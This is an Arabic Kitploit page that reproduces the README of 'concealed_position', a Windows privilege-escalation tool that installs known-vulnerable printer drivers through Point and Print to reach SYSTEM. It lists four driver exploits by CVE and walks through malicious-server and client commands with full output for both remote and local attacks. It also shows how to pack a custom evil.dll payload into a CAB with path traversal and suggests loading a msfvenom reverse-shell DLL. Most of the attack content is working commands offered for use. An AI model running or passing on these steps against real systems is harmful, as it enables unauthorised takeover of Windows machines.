Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
concealed_position — أداة تصعيد صلاحيات عبر برنامج تشغيل الطابعة الخاص بك | Kitploit
أدوات/GitHubGitHub/jacob-baines/concealed_position
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراق
GitHubjacob-baines/concealed_position

concealed_position

أداة تصعيد صلاحيات عبر برنامج تشغيل الطابعة الخاص بك

عرض المستودع
26344منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

موضع مخفي

موضع مخفي هو هجوم تصعيد الصلاحيات المحلي ضد ويندوز باستخدام مفهوم "اجلب ثغرةك الخاصة". على وجه التحديد، يستخدم موضع مخفي (CP) منطق النقاط والطباعة كما هو مصمم في ويندوز الذي يسمح لمستخدم ذي صلاحية منخفضة بمرحلة وتثبيت برامج تشغيل الطابعات. يقوم CP بتثبيت برامج تشغيل بها ثغرات معروفة ثم يتم استغلالها للتصعيد إلى SYSTEM. تم عرض موضع مخفي لأول مرة في DEF CON 29.

ما هي الثغرات المتاحة

يقدم موضع مخفي أربعة ثغرات - جميعها بأسماء غبية بنفس القدر:

  • ACIDDAMAGE - CVE-2021-35449 - Lexmark Universal Print Driver LPE
  • RADIANTDAMAGE - CVE-2021-38085 - Canon TR150 Print Driver LPE
  • POISONDAMAGE - CVE-2019-19363 - Ricoh PCL6 Print Driver LPE
  • SLASHINGDAMAGE - CVE-2020-1300 - Windows Print Spooler LPE

الثغرات جميلة لأنه، باستثناء SLASHINGDAMAGE، ستستمر في العمل حتى بعد تصحيح المشكلات. الآلية الوحيدة التي يمتلكها ويندوز لمنع المستخدمين من استخدام برامج تشغيل قديمة هي إلغاء شهادة برنامج التشغيل - وهو شيء لم يتم فعله تاريخياً (؟).

لكن أي ثغرة يجب أن أستخدمها؟!

على الأرجح ACIDDAMAGE. RADIANTDAMAGE و POISONDAMAGE هما سباق (للكتابة فوق DLL) و SLASHINGDAMAGE، من المأمول، قد تم تصحيحها في كل مكان.

كيف يعمل؟

يتكون موضع مخفي من جزأين. طابعة خبيثة وعميل. يتصل العميل بالخادم، ويسحب برنامج تشغيل، ويخزن برنامج التشغيل في مخزن برامج التشغيل، ويُثبت الطابعة، ويستغل عملية التثبيت. سهل! في لغة MSAPI، يبدو الهجوم كالتالي:

root@kitploit:~
الخطوة 1: مرحلة برنامج التشغيل في مخزن برامج التشغيل
العميل إلى الخادم: GetPrinterDriver
الخادم إلى العميل: الاستجابة مع برنامج التشغيل

المرحلة 2: تثبيت برنامج التشغيل من مخزن برامج التشغيل
العميل: InstallPrinterDriverFromPackage

المرحلة 3: إضافة طابعة محلية (مرحلة الاستغلال)
العميل: إضافة طابعة

من المهم ملاحظة أن SLASHINGDAMAGE لا يعمل بهذه الطريقة في الواقع. SLASHINGDAMAGE هو تطبيق لهجوم الطابعة الخبيثة الموصوف في DEFCON 28 (2020) وتم تصحيحه منذ فترة طويلة. لكني أستمتع بهذا الهجوم (لقد أثار بقية هذا التطوير) وقررت أن أترك الثغرة في خادمي الخبيث... على الرغم من أن ذلك قد يكون مربكًا.

هل هذه ثغرة في ويندوز؟

يمكن القول، نعم. مخزن برامج التشغيل هو "مجموعة موثوقة من ... حزم برامج تشغيل تابعة لجهات خارجية" والتي تتطلب وصول المسؤول لتعديلها. باستخدام GetPrinterDriver يمكن لمهاجم منخفض الصلاحية مرحلة برامج تشغيل عشوائية في المخزن. هذا، بالنسبة لي، يتجاوز حدوداً أمنية واضحة.

يبدو أن مايكروسوفت وافقت عندما أصدرت CVE-2021-34481.

على الرغم من... أنه يمكن القول أن هذه مجرد ميزة للنظام وليست ثغرة على الإطلاق. لا يهم كثيرًا حقًا. يمكن للمهاجم التصعيد إلى SYSTEM على تثبيتات ويندوز العادية.

أي إصدارات من ويندوز متأثرة بـ CVE-2021-34481؟

على الأقل ويندوز 8.1 وما فوق.

كيف أستخدم هذه الأدوات؟

بسيط! بسيط جدًا لدرجة أنه سيكون هناك العديد من الفقرات لوصفها!

خادم CP

أولاً، دعنا نلقي نظرة على خيارات سطر الأوامر لـ cp_server:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    خادم!

خيارات سطر الأوامر:
  -h, --help                     عرض رسالة المساعدة
  -e, --exploit arg              الثغرة المراد استخدامها
  -c, --cabs arg (=.\cab_files)  مسار ملفات الكابينة

الثغرات المتاحة:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE
        SLASHINGDAMAGE

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

أعلاه يمكنك رؤية أن الخادم يتطلب خيارين:

  1. الثغرة لتكوين الطابعة من أجلها
  2. مسار إلى ملفات cab_files لهذا المستودع (.\cab_files\ هو الافتراضي)

على سبيل المثال، لنفترض أننا نريد تكوين طابعة خبيثة تقدم برنامج تشغيل ACIDDAMAGE. فقط افعل هذا:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    خادم!

[+] إنشاء مساحة مؤقتة...
[+] توسيع .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] الدفع إلى مخزن برامج التشغيل
[+] تنظيف المساحة المؤقتة
[+] تثبيت برنامج تشغيل الطباعة
[+] تم تثبيت برنامج التشغيل!
[+] تثبيت طابعة مشتركة
[+] تم تثبيت الطابعة المشتركة!
[+] انتهت الأتمتة.
[!] خطوات يدوية هامة!
[0] في إعدادات المشاركة المتقدمة، قم بإيقاف تشغيل "المشاركة المحمية بكلمة مرور".
[1] جاهز للانطلاق!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

وهذا كل شيء، سترى طابعة جديدة على نظامك:

root@kitploit:~
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer

Name                           ComputerName    Type         DriverName                PortName        Shared   Publishe
                                                                                                               d
----                           ------------    ----         ----------                --------        ------   --------
ACIDDAMAGE                                     Local        Lexmark Universal v2      LPT1:           True     False
CutePDF Writer                                 Local        CutePDF Writer v4.0       CPW4:           False    False
OneNote for Windows 10                         Local        Microsoft Software Pri... Microsoft.Of... False    False
Microsoft XPS Document Writer                  Local        Microsoft XPS Document... PORTPROMPT:     False    False
Microsoft Print to PDF                         Local        Microsoft Print To PDF    PORTPROMPT:     False    False
Fax                                            Local        Microsoft Shared Fax D... SHRFAX:         False    False


PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

لاحظ أن هناك خطوة يدوية واحدة يطلب منك cp_server القيام بها. لأنني مخترق مبتدئ، لم أستطع معرفة كيفية تعيين "إعدادات المشاركة المتقدمة" -> "إيقاف تشغيل المشاركة المحمية بكلمة مرور" برمجياً. سيكون عليك القيام بذلك بنفسك!

عملية استخدام SLASHINGDAMAGE مختلفة قليلاً. ستحتاج أولاً إلى تثبيت CutePDF Writer (ابحث عن المثبتات في دليل الطرف الثالث). ثم قم بتشغيل cp_server و بعد ذلك لا تزال بحاجة إلى اتباع بضع خطوات يدوية وإعادة التشغيل.

عميل CP

العميل سهل الاستخدام بالمثل. دعنا نلقي نظرة على خيارات سطر الأوامر الخاصة به:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    عميل!

خيارات سطر الأوامر:
  -h, --help         عرض رسالة المساعدة
  -r, --rhost arg    عنوان الطابعة الخبيثة البعيد
  -n, --name arg     اسم الطابعة الخبيثة البعيد
  -e, --exploit arg  الثغرة المراد استخدامها
  -l, --local        لا طابعة بعيدة. هجوم محلي فقط.
  -d, --dll arg      مسار DLL المقدم من المستخدم لتنفيذه.

الثغرات المتاحة:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE

أولاً، أود التطرق إلى خيار --dll. العميل لديه حمولة مضمنة تقوم ببساطة بكتابة ملف C:\result.txt. ومع ذلك، يمكن للمستخدمين تقديم DLL الخاص بهم عبر هذا الخيار. مثال جيد لشيء قد ترغب في استخدامه هو شل عكسي x64 منتج بواسطة msfvenom. لكن لبقية هذا سنفترض فقط الحمولة المضمنة.

cp_client له وضعان: بعيد ومحلي. الخيار البعيد هو الأكثر إثارة للاهتمام لأنه يضيف برنامج التشغيل الضعيف إلى مخزن برامج التشغيل (وبالتالي تنفيذ ثغرة إحضار برنامج تشغيل الطباعة الخاص بك)، لذا سنبدأ بذلك أولاً. لنفترض أنني أريد الاتصال مرة أخرى بالطابعة الخبيثة ACIDDAMAGE التي قمنا بتكوينها سابقًا. أحتاج فقط إلى تقديم:

  1. الثغرة التي أريد استخدامها
  2. عنوان IP للطابعة الخبيثة
  3. اسم الطابعة المشتركة الخبيثة

مثل هذا!

root@kitploit:~
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
_______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    عميل!

[+] التحقق مما إذا كان برنامج التشغيل مثبتًا بالفعل
[-] برنامج التشغيل غير متوفر.
[+] رد الاتصال بالطابعة الخبيثة @ \\10.0.0.9\ACIDDAMAGE
[+] مرحلة برنامج التشغيل في مخزن برامج التشغيل
[+] تثبيت برنامج التشغيل المُمرحل
[+] تم تثبيت برنامج التشغيل!
[+] بدء AcidDamage
[+] التحقق من وجود C:\ProgramData\Lexmark Universal v2\
[-] الدليل الهدف غير موجود. تشغيل التثبيت.
[+] تثبيت الطابعة
[+] قراءة C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] البحث في محتويات الملف
[+] تحديث محتويات الملف
[+] إسقاط gpl المحدثة
[+] إسقاط Dll.dll على القرص
[+] مرحلة dll في c:\tmp
[+] تثبيت الطابعة
[!] نجاح كبير!

هذا كل شيء! لتنفيذ هجوم محلي فقط، تحتاج فقط إلى تقديم الثغرة:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
_______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    عميل!

[+] التحقق مما إذا كان برنامج التشغيل مثبتًا بالفعل
[+] تم تثبيت برنامج التشغيل!
[+] بدء AcidDamage
[+] التحقق من وجود C:\ProgramData\Lexmark Universal v2\
[-] الدليل الهدف غير موجود. تشغيل التثبيت.
[+] تثبيت الطابعة
[+] قراءة C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] البحث في محتويات الملف
[+] تحديث محتويات الملف
[+] إسقاط gpl المحدثة
[+] إسقاط Dll.dll على القرص
[+] مرحلة dll في c:\tmp
[+] تثبيت الطابعة
[!] نجاح كبير!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

لماذا لا يحتوي العميل على خيار SLASHINGDAMAGE؟

SLASHINGDAMAGE لا يحتاج إلى عميل خاص للاستغلال. يمكنك فقط استخدام واجهة المستخدم أو سطر الأوامر للاتصال بالطابعة البعيدة وهذا كل شيء! لسوء الحظ، إذا كنت ترغب في تصميم حمولة مخصصة، فستحتاج إلى تحديث CAB في دليل cab_files. لكن هذا سهل. شيء مثل هذا:

root@kitploit:~
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab

من المهم على الأرجح معرفة أن إصدار SLASHINGDAMAGE في المستودع يُسقط ualapi.dll في SYSTEM32 وعند تنفيذه عند إعادة التشغيل، يُسقط ملف C:\result.txt.

طلبات السحب والأخطاء

هل تريد تقديم طلب سحب أو الإبلاغ عن خطأ؟ عظيم! أنا أقدر ذلك، ولكن إذا لم تقدم تفاصيل كافية لإعادة إنتاج خطأ أو شرح سبب قبول طلب السحب، فهناك فرصة 100% أنني سأغلق مشكلتك دون تعليق. أنا أقدرك، لكنني أيضًا مشغول جدًا.

أشياء أخرى

شيء واحد يجب ملاحظته هو أن DLL inject_me مضمنة فعليًا في cp_client كمصفوفة C. إذا قمت بتحديث inject_me، فستحتاج إلى تحديث مصفوفة C يدويًا أيضًا (فقط استخدم xxd لإنشاء المصفوفة).

تنزيل الأداة